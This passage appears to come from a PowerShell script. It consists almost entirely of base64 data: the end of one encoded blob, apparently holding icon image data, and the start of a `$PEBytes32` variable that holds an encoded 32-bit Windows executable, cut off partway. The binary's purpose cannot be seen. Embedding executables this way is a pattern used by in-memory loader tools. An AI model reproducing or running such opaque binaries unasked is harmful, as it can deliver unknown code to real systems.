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qYKpoqnCqeKqAqoiqkKqYqqCqUKtYq2CraKtwq3irgKuIq5CrmKugq6irsKu4q8CryKvQq9ir4Kvoq/Cr+KsArAisEKwYrCCsKKwwrDisQKxIrFCsWKxgrGiscKx4rICsiKyQrJisoKyorLCsuKzArMis0KzYrOCs6KzwrPisAK0IrRCtGK0grSitMK04rUCtSK1QrVitYK2AroiuuK7Arsiu6K7wrviuAK8Ir4CvkK+Yr6CvqK+wr7ivwK/Ir9Cv2K/gr+iv8K/4rwAgBQAcAAAAAKAIoNCh2KHgoeihEKoYqiCqAAAAMAUANAAAAHiniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMioAEAFALgAAAAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpQBQBQAQAQAA0KDYoOCg6KDwoPigAKEIoRChGKEgoSihMKE4oUChSKFQoVihYKFooXCheKGAoYihkKGYoaChqKGwobihwKHIodCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiOKJAokiiUKJYomCiaKJwoniigKKIopCimKKgoqiisKK4osCiyKLQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo1CjWKNgo2ijcKN4o4CjiKOQo5ijoKOoo7CjuKPAo8ij0KNQqFioYKhoqHCoeKiAqIiokKiYqKCoqKiwqLiowKjIqNCo2KjwqPioAKkIqRCpGKkgqSipMKk4qUCpSKlQqVipYKloqXCpAGAFABAAAADoovCi+KIAowBwBQAsAAAAKKAwoNCh2KHgoeih8KH4oQCiCKIQohiiIKIoojCiWK1grQAAAMAFAIQAAAAArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrxCvGK8gryivMK84r0CvSK9gr2ivcK94r4CviK+Qr5ivoK+or7CvuK/Ar8iv0K/Yr+Cv6K/wr/ivANAFABgAAAAAoAigEKAYoCCgKKAwoAAAAJAGADQBAAAAoDCgaKCgoNig4KDooPCg+KAAoQihGKFIoXChmKHQoRiiQKJwonii4KLwosij0KPYo+Cj6KPwo/ijAKQIpBCkGKQopDCkOKRApEikUKRYpGCkaKSQpKCkUKjQqQiqEKooqjCqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrAqsiq0KrYquCq6KrwqviqAKsIqxCrGKsgqyirMKs4q0CrSKtQq1irYKtoq3CreKuAq4irkKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKwgrCisMKw4rECsSKxQrFisYKxorHCseKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rGitiK2orcit6K0orkCuSK5QrliuYK5ornCuAAAAoAYAwAAAABCkGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpmCpaKlwqXipgKmIqZCpmKmgqaipsKm4qcCpyKnQqdip4KnoqfCp+KkAqgiqEKoYqiCqKKowqjiqQKpIqlCqWKpgqmiqcKp4qoCqiKqQqpiqoKqoqrCquKrQqtiq4KroqvCq+KoAqwirEKsYqzCuYK7AruiuEK9Ar6CvAAAAsAYAkAAAAACgUKCgoOCgCKEwoVihgKGwodihAKIwopCi4KKYo6CjqKOwo7ijwKPIo9Cj2KPgo+ij8KP4owCkCKQQpBikIKQopDCkOKRApEikUKRYpGCkaKRwpHikgKSIpJCkmKSgpKiksKS4pMCkyKTQpNikKKVQpbCl0KUApmCmkKbwplCnoKfwp0CoiKgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=" + $PEBytes32 = "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